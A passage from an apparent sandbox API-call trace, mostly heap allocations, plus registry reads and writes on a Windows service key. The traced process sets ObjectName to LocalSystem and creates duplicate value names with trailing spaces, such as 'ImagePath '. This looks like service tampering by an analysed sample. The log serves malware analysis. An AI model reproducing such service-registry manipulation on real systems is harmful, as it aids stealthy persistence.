Size=0x40) returned 0x21f43d0 [0223.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0223.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0223.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.349] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0223.349] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0223.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0223.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0223.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.350] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0223.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.351] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0223.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0223.351] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.352] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0223.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.354] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0223.354] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.354] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0223.354] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, 